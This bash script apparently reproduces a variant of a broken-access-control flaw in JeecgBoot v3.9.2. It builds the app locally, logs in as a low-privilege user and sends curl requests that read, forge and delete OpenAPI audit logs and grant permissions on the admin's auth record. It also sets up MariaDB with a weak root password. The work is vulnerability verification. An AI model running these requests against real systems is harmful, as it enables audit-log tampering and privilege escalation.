#!/bin/bash
set -uo pipefail

# ============================================================================
# CVE-2026-58377 VARIANT — JeecgBoot Broken Access Control (alternate trigger)
# ============================================================================
# Parent CVE surface (reproduced by repro stage): OpenApiAuthController
#   /openapi/auth/*  — full CRUD on OpenAPI AK/SK credentials, no @RequiresRoles.
#
# THIS VARIANT discovers the SAME root cause (missing Shiro @RequiresRoles
# annotations + Shiro filter chain maps /** to the auth-only `jwt` filter)
# reached via DIFFERENT entry points that the parent reproduction did NOT test:
#
#   VARIANT A (primary, NEW surface — NOT mentioned in the CVE description):
#     OpenApiLogController  /openapi/record/*  — full CRUD (list/add/edit/
#     delete/deleteBatch/queryById) on OpenAPI call/audit logs. A low-priv user
#     can read every audit log and CREATE / DELETE log rows (audit-log
#     tampering / destruction).
#
#   VARIANT B (corroborating, CVE-claimed but NOT reproduced by repro stage):
#     OpenApiPermissionController  /openapi/permission/*  — POST /add (grant
#     OpenAPI permissions on ANY auth record incl. admin's) and GET /getOpenApi
#     (retrieve the OpenAPI definitions mapped to any auth record).
#
# Fixed/patched version: NONE. CVE-2026-58377 status is "Deferred"; the latest
# release tag is v3.9.2 (the vulnerable version itself); master HEAD
# (32a8dfe94f014f7a9d472bce83e08bb8cf9c10c3) is BYTE-IDENTICAL to v3.9.2 for
# all four OpenAPI controllers. Therefore the "fixed-version" check reduces to
# testing the latest release / default branch, which is identical to the
# vulnerable code. The variant is confirmed on the LATEST available code.
#
# Exit codes:
#   0 = variant reproduced (on the latest available code, which is unpatched)
#   1 = variant NOT reproduced
# ============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
VDIR="$ROOT/vuln_variant"
HTTP="$VDIR/http"
mkdir -p "$LOGS" "$HTTP"

LOG="$LOGS/reproduction_steps.log"
mkdir -p "$LOGS"
: > "$LOG" 2>/dev/null || true

log()  { echo "[$(date '+%H:%M:%S')] $*" | tee -a "$LOG"; }
ok()   { echo "[$(date '+%H:%M:%S')] ✓ $*"; echo "[$(date '+%H:%M:%S')] ✓ $*" >> "$LOG"; }
fail() { echo "[$(date '+%H:%M:%S')] ✗ $*"; echo "[$(date '+%H:%M:%S')] ✗ $*" >> "$LOG"; }
info() { echo "[$(date '+%H:%M:%S')] ℹ $*"; echo "[$(date '+%H:%M:%S')] ℹ $*" >> "$LOG"; }

# ----------------------------------------------------------------------------
# Phase 1: Resolve repo path from project_cache_context.json
# ----------------------------------------------------------------------------
log "=== Phase 1: Resolve repository path ==="
REPO=""
if [ -f "$ROOT/project_cache_context.json" ]; then
    CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || echo "")
    PREPARED=$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo "false")
    if [ "$PREPARED" = "true" ] && [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR/repo" ]; then
        REPO="$CACHE_DIR/repo"
        log "Using prepared project cache repo: $REPO"
    fi
fi
if [ -z "$REPO" ] || [ ! -d "$REPO" ]; then
    log "Project cache not available; cloning JeecgBoot v3.9.2"
    REPO="$ROOT/artifacts/JeecgBoot"
    if [ ! -d "$REPO" ]; then
        git clone --depth 1 --branch v3.9.2 https://github.com/jeecgboot/JeecgBoot.git "$REPO" 2>&1 | tee -a "$LOG"
    fi
fi
JEECG_BOOT_DIR="$REPO/jeecg-boot"
SQL_FILE="$JEECG_BOOT_DIR/db/jeecgboot-mysql-5.7.sql"
JAR_PATH="$JEECG_BOOT_DIR/jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.2.jar"
info "Repo: $REPO"
info "Jar:  $JAR_PATH"

# Record exact tested source identity
TESTED_SHA=$(cd "$REPO" && git rev-parse HEAD 2>/dev/null || echo "unknown")
info "Tested commit (v3.9.2): $TESTED_SHA"
{
  echo "{\"tested_commit\":\"$TESTED_SHA\",\"ref\":\"v3.9.2\",\"note\":\"latest release tag; master HEAD 32a8dfe is byte-identical for the affected controllers; no official patch exists\"}"
} > "$LOGS/source_identity_runtime.json"

# ----------------------------------------------------------------------------
# Phase 2: Ensure build/runtime dependencies
# ----------------------------------------------------------------------------
log "=== Phase 2: Ensure dependencies ==="
export DEBIAN_FRONTEND=noninteractive
if ! command -v java &>/dev/null; then
    log "Installing JDK 17..."
    sudo apt-get update -qq 2>&1 | tail -3
    sudo apt-get install -y -qq openjdk-17-jdk-headless 2>&1 | tail -5
fi
if ! command -v redis-server &>/dev/null; then
    log "Installing Redis..."
    sudo apt-get install -y -qq redis-server 2>&1 | tail -3
fi
if ! command -v mysqld &>/dev/null && ! command -v mariadbd &>/dev/null; then
    log "Installing MariaDB..."
    sudo apt-get install -y -qq mariadb-server 2>&1 | tail -5
fi
export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which java))))
log "JAVA_HOME=$JAVA_HOME, $(java -version 2>&1 | head -1)"

# ----------------------------------------------------------------------------
# Phase 3: Start MariaDB and Redis
# ----------------------------------------------------------------------------
log "=== Phase 3: Start MariaDB and Redis ==="
if ! mysqladmin ping 2>/dev/null >/dev/null; then
    log "Starting MariaDB..."
    sudo mkdir -p /run/mysqld && sudo chown mysql:mysql /run/mysqld
    sudo mariadbd-safe --skip-grant-tables &
    sleep 5
fi
sudo mysql -e "ALTER USER 'root'@'localhost' IDENTIFIED BY 'root'; CREATE USER IF NOT EXISTS 'root'@'%' IDENTIFIED BY 'root'; GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES;" 2>/dev/null || true
mysql -u root -proot -e "SELECT 1" >/dev/null 2>&1 || { fail "Cannot connect to MariaDB"; exit 1; }
ok "MariaDB is running"

if ! redis-cli ping 2>/dev/null | grep -q PONG; then
    log "Starting Redis..."
    redis-server --daemonize yes --port 6379 --bind 127.0.0.1 2>&1 || true
    sleep 1
fi
redis-cli ping 2>/dev/null | grep -q PONG || { fail "Cannot start Redis"; exit 1; }
ok "Redis is running"

# ----------------------------------------------------------------------------
# Phase 4: Ensure database is initialized with seed data
# ----------------------------------------------------------------------------
log "=== Phase 4: Ensure database initialized ==="
SEED_OK=false
if mysql -u root -proot -e "SELECT 1 FROM \`jeecg-boot\`.sys_user WHERE username='ceshi' LIMIT 1" >/dev/null 2>&1; then
    ok "jeecg-boot database already seeded (ceshi user present)"
    SEED_OK=true
fi
if [ "$SEED_OK" != "true" ]; then
    mysql -u root -proot -e "DROP DATABASE IF EXISTS \`jeecg-boot\`; CREATE DATABASE \`jeecg-boot\` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci" 2>&1 | head -3
    log "Importing seed SQL (this may take a minute)..."
    mysql -u root -proot "jeecg-boot" < "$SQL_FILE" 2>&1 | head -5
    mysql -u root -proot -e "SELECT 1 FROM \`jeecg-boot\`.sys_user WHERE username='ceshi' LIMIT 1" >/dev/null 2>&1 && { ok "Database seeded"; SEED_OK=true; }
fi
[ "$SEED_OK" = "true" ] || { fail "Database not seeded"; exit 1; }

# Verify the low-priv user role and the OpenAPI log/permission tables
CESHI_ROLE=$(mysql -u root -proot "jeecg-boot" -sN -e "SELECT r.role_code FROM sys_user u JOIN sys_user_role ur ON u.id=ur.user_id JOIN sys_role r ON ur.role_id=r.id WHERE u.username='ceshi'" 2>/dev/null)
info "ceshi role: $CESHI_ROLE (expected: test — non-admin)"
ADMIN_AUTH_ID=$(mysql -u root -proot "jeecg-boot" -sN -e "SELECT id FROM open_api_auth LIMIT 1" 2>/dev/null)
info "Admin OpenAPI auth id: $ADMIN_AUTH_ID"
LOG_COUNT_BEFORE=$(mysql -u root -proot "jeecg-boot" -sN -e "SELECT COUNT(*) FROM open_api_log" 2>/dev/null)
info "open_api_log row count before variant: $LOG_COUNT_BEFORE"

# Clean any leftover rows from a previous run of this script
mysql -u root -proot "jeecg-boot" -e "DELETE FROM open_api_permission WHERE api_id LIKE 'variant-perm-api-%'" 2>/dev/null
mysql -u root -proot "jeecg-boot" -e "DELETE FROM open_api_log WHERE api_id='variant-test-api'" 2>/dev/null

# ----------------------------------------------------------------------------
# Phase 5: Ensure jar is built
# ----------------------------------------------------------------------------
log "=== Phase 5: Ensure jar built ==="
if [ ! -f "$JAR_PATH" ]; then
    if command -v mvn &>/dev/null; then
        log "Building JeecgBoot jar (may take several minutes)..."
        (cd "$JEECG_BOOT_DIR" && mvn clean install -DskipTests -T 1C 2>&1 | tee "$LOGS/maven_build.log" | tail -20)
        [ -f "$JAR_PATH" ] && ok "Build succeeded" || { fail "Build failed"; exit 1; }
    else
        fail "Jar not present and maven unavailable"; exit 1
    fi
else
    ok "Jar already built: $JAR_PATH"
fi

# ----------------------------------------------------------------------------
# Phase 6: Start JeecgBoot (reuse if already running)
# ----------------------------------------------------------------------------
log "=== Phase 6: Start JeecgBoot application ==="
BASE="http://127.0.0.1:8080/jeecg-boot"
APP_RUNNING=false
code=$(curl -s --max-time 4 -o /dev/null -w "%{http_code}" "$BASE/sys/randomImage/123" 2>/dev/null)
if [ "$code" != "000" ] && [ -n "$code" ]; then ok "JeecgBoot already running (HTTP $code)"; APP_RUNNING=true; fi

if [ "$APP_RUNNING" != "true" ]; then
    pkill -f "jeecg-system-start-3.9.2.jar" 2>/dev/null || true; sleep 2
    if ss -tln 2>/dev/null | grep -q ':8080'; then sudo pkill -f "apache2" 2>/dev/null || true; sleep 2; fi
    redis-cli FLUSHALL 2>/dev/null || true
    APP_LOG="$LOGS/jeecgboot_app.log"
    cat > "$VDIR/start_jeecg.sh" <<STARTEOF
#!/bin/bash
export JAVA_HOME="$JAVA_HOME"
exec java -Xms256m -Xmx1024m -Djava.security.egd=file:/dev/./urandom -jar "$JAR_PATH" --jeecg.firewall.enableLoginCaptcha=false > "$APP_LOG" 2>&1
STARTEOF
    chmod +x "$VDIR/start_jeecg.sh"
    log "Starting JeecgBoot..."
    setsid bash "$VDIR/start_jeecg.sh" < /dev/null & disown 2>/dev/null
    READY=0
    for i in $(seq 1 60); do
        code=$(curl -s --max-time 4 -o /dev/null -w "%{http_code}" "$BASE/sys/randomImage/123" 2>/dev/null)
        if [ "$code" != "000" ] && [ -n "$code" ]; then ok "JeecgBoot ready (HTTP $code) after ${i}x5s"; READY=1; break; fi
        sleep 5
    done
    [ "$READY" = "1" ] || { fail "JeecgBoot failed to start"; tail -25 "$APP_LOG" 2>/dev/null; exit 1; }
fi

# ----------------------------------------------------------------------------
# Phase 7: Variant reproduction
# ----------------------------------------------------------------------------
log "=== Phase 7: Variant reproduction ==="

# Helper: extract JSON field with python
jval() { python3 -c "import json,sys;d=json.load(open(sys.argv[1]));print(d.get(sys.argv[2]))" "$1" "$2" 2>/dev/null; }

# 7.1 Login as low-priv user (ceshi, role=test)
log "Login as ceshi (low-priv, test role)"
curl -s --max-time 15 -X POST "$BASE/sys/login" -H "Content-Type: application/json" \
  -d '{"username":"ceshi","password":"123456","captcha":"","checkKey":""}' -o "$HTTP/login_ceshi.json"
CESHI_TOKEN=$(python3 -c "import json;print(json.load(open('$HTTP/login_ceshi.json'))['result']['token'])" 2>/dev/null)
[ -n "$CESHI_TOKEN" ] || { fail "ceshi login failed"; cat "$HTTP/login_ceshi.json"; exit 1; }
ok "ceshi logged in (token len ${#CESHI_TOKEN})"

# 7.2 Login as admin (for positive-control context)
curl -s --max-time 15 -X POST "$BASE/sys/login" -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"123456","captcha":"","checkKey":""}' -o "$HTTP/login_admin.json"
ok "admin login captured"

VARIANT_PASS=0

# --- VARIANT A: OpenApiLogController /openapi/record/* (NOT in CVE) ---
log "VARIANT A: OpenApiLogController /openapi/record/*"
# A1: list (read all audit logs)
curl -s --max-time 15 "$BASE/openapi/record/list" -H "X-Access-Token: $CESHI_TOKEN" -o "$HTTP/record_list_ceshi.json"
A_LIST_OK=$(python3 -c "import json;d=json.load(open('$HTTP/record_list_ceshi.json'));print('1' if d.get('success') and d.get('result',{}).get('total',0)>0 else '0')" 2>/dev/null)
info "A1 GET /openapi/record/list -> success=$(jval "$HTTP/record_list_ceshi.json" success), total=$(python3 -c "import json;print(json.load(open('$HTTP/record_list_ceshi.json')).get('result',{}).get('total'))" 2>/dev/null)"
[ "$A_LIST_OK" = "1" ] && ok "A1: ceshi read all OpenAPI audit logs" || fail "A1 failed"

# A2: add (create an audit log attributed to admin's auth record)
curl -s --max-time 15 -X POST "$BASE/openapi/record/add" -H "X-Access-Token: $CESHI_TOKEN" -H "Content-Type: application/json" \
  -d "{\"apiId\":\"variant-test-api\",\"callAuthId\":\"$ADMIN_AUTH_ID\",\"usedTime\":1234}" -o "$HTTP/record_add_ceshi.json"
A_ADD_OK=$(jval "$HTTP/record_add_ceshi.json" success)
NEW_LOG_ID=$(mysql -u root -proot "jeecg-boot" -sN -e "SELECT id FROM open_api_log WHERE api_id='variant-test-api' ORDER BY id DESC LIMIT 1" 2>/dev/null)
info "A2 POST /openapi/record/add -> success=$A_ADD_OK, persisted id=$NEW_LOG_ID"
[ "$A_ADD_OK" = "True" ] && [ -n "$NEW_LOG_ID" ] && ok "A2: ceshi created an audit log (id=$NEW_LOG_ID) attributed to admin auth id" || fail "A2 failed"

# A3: delete (audit-log tampering / destruction)
A_DEL_OK="False"
if [ -n "$NEW_LOG_ID" ]; then
    curl -s --max-time 15 -X DELETE "$BASE/openapi/record/delete?id=$NEW_LOG_ID" -H "X-Access-Token: $CESHI_TOKEN" -o "$HTTP/record_delete_ceshi.json"
    A_DEL_OK=$(jval "$HTTP/record_delete_ceshi.json" success)
    AFTER=$(mysql -u root -proot "jeecg-boot" -sN -e "SELECT COUNT(*) FROM open_api_log WHERE id=$NEW_LOG_ID" 2>/dev/null)
    info "A3 DELETE /openapi/record/delete?id=$NEW_LOG_ID -> success=$A_DEL_OK, db rows after=$AFTER (expect 0)"
    [ "$A_DEL_OK" = "True" ] && [ "$AFTER" = "0" ] && ok "A3: ceshi DELETED an audit log (tampering succeeded)" || fail "A3 failed"
fi

# A4: queryById (read a specific log)
curl -s --max-time 15 "$BASE/openapi/record/queryById?id=$(mysql -u root -proot "jeecg-boot" -sN -e "SELECT id FROM open_api_log LIMIT 1" 2>/dev/null)" -H "X-Access-Token: $CESHI_TOKEN" -o "$HTTP/record_queryById_ceshi.json"
A_Q_OK=$(jval "$HTTP/record_queryById_ceshi.json" success)
info "A4 GET /openapi/record/queryById -> success=$A_Q_OK"
[ "$A_Q_OK" = "True" ] && ok "A4: ceshi read a specific audit log by id" || fail "A4 failed"

if [ "$A_LIST_OK" = "1" ] && [ "$A_ADD_OK" = "True" ] && [ "$A_DEL_OK" = "True" ] && [ "$A_Q_OK" = "True" ]; then
    ok "VARIANT A CONFIRMED: OpenApiLogController /openapi/record/* full CRUD by low-priv user"
    VARIANT_PASS=1
fi

# --- VARIANT B: OpenApiPermissionController /openapi/permission/* (CVE-claimed, not reproduced) ---
log "VARIANT B: OpenApiPermissionController /openapi/permission/*"
# B1: add (grant permissions on admin's auth record)
curl -s --max-time 15 -X POST "$BASE/openapi/permission/add" -H "X-Access-Token: $CESHI_TOKEN" -H "Content-Type: application/json" \
  -d "{\"apiId\":\"variant-perm-api-1,variant-perm-api-2\",\"apiAuthId\":\"$ADMIN_AUTH_ID\"}" -o "$HTTP/permission_add_ceshi.json"
B_ADD_OK=$(jval "$HTTP/permission_add_ceshi.json" success)
PERM_ROWS=$(mysql -u root -proot "jeecg-boot" -sN -e "SELECT COUNT(*) FROM open_api_permission WHERE api_id LIKE 'variant-perm-api-%' AND api_auth_id=$ADMIN_AUTH_ID" 2>/dev/null)
info "B1 POST /openapi/permission/add -> success=$B_ADD_OK, permission rows persisted for admin auth id=$PERM_ROWS"
[ "$B_ADD_OK" = "True" ] && [ "$PERM_ROWS" -ge 1 ] 2>/dev/null && ok "B1: ceshi granted OpenAPI permissions on admin's auth record" || fail "B1 failed"

# B2: getOpenApi (retrieve OpenAPI defs for admin's auth record)
curl -s --max-time 15 "$BASE/openapi/permission/getOpenApi?apiAuthId=$ADMIN_AUTH_ID" -H "X-Access-Token: $CESHI_TOKEN" -o "$HTTP/permission_getOpenApi_ceshi.json"
B_GET_OK=$(jval "$HTTP/permission_getOpenApi_ceshi.json" success)
info "B2 GET /openapi/permission/getOpenApi -> success=$B_GET_OK"
[ "$B_GET_OK" = "True" ] && ok "B2: ceshi retrieved OpenAPI definitions for admin's auth record" || fail "B2 failed"

if [ "$B_ADD_OK" = "True" ] && [ "$B_GET_OK" = "True" ]; then
    ok "VARIANT B CONFIRMED: OpenApiPermissionController /openapi/permission/* reachable by low-priv user"
    [ "$VARIANT_PASS" = "0" ] && VARIANT_PASS=1
fi

# --- NEGATIVE CONTROL: /openapi/add (admin-protected @RequiresRoles) ---
log "NEGATIVE CONTROL: /openapi/add (admin-protected)"
curl -s --max-time 15 -X POST "$BASE/openapi/add" -H "X-Access-Token: $CESHI_TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"negcontrol","path":"negctrl","originUrl":"http://example.com","requestMethod":"GET"}' -o "$HTTP/openapi_add_negcontrol.json"
NEG_MSG=$(jval "$HTTP/openapi_add_negcontrol.json" message)
info "negative control POST /openapi/add -> success=$(jval "$HTTP/openapi_add_negcontrol.json" success), message=$NEG_MSG"
if echo "$NEG_MSG" | grep -qi "role"; then
    ok "Negative control: /openapi/add correctly rejected low-priv user (authz enforced via @RequiresRoles)"
else
    fail "Negative control did not behave as expected"
fi

# Cleanup the rows this script added (idempotency)
mysql -u root -proot "jeecg-boot" -e "DELETE FROM open_api_permission WHERE api_id LIKE 'variant-perm-api-%'" 2>/dev/null
mysql -u root -proot "jeecg-boot" -e "DELETE FROM open_api_log WHERE api_id='variant-test-api'" 2>/dev/null

# ----------------------------------------------------------------------------
# Phase 8: Verdict
# ----------------------------------------------------------------------------
log "=== Phase 8: Verdict ==="
if [ "$VARIANT_PASS" = "1" ]; then
    ok "VARIANT REPRODUCED on JeecgBoot v3.9.2 (commit $TESTED_SHA) — the LATEST available code."
    ok "No official patch exists; master HEAD is byte-identical to v3.9.2 for the affected controllers."
    ok "Primary variant: OpenApiLogController /openapi/record/* (NEW surface, not in CVE description)."
    exit 0
else
    fail "Variant NOT reproduced."
    exit 1
fi
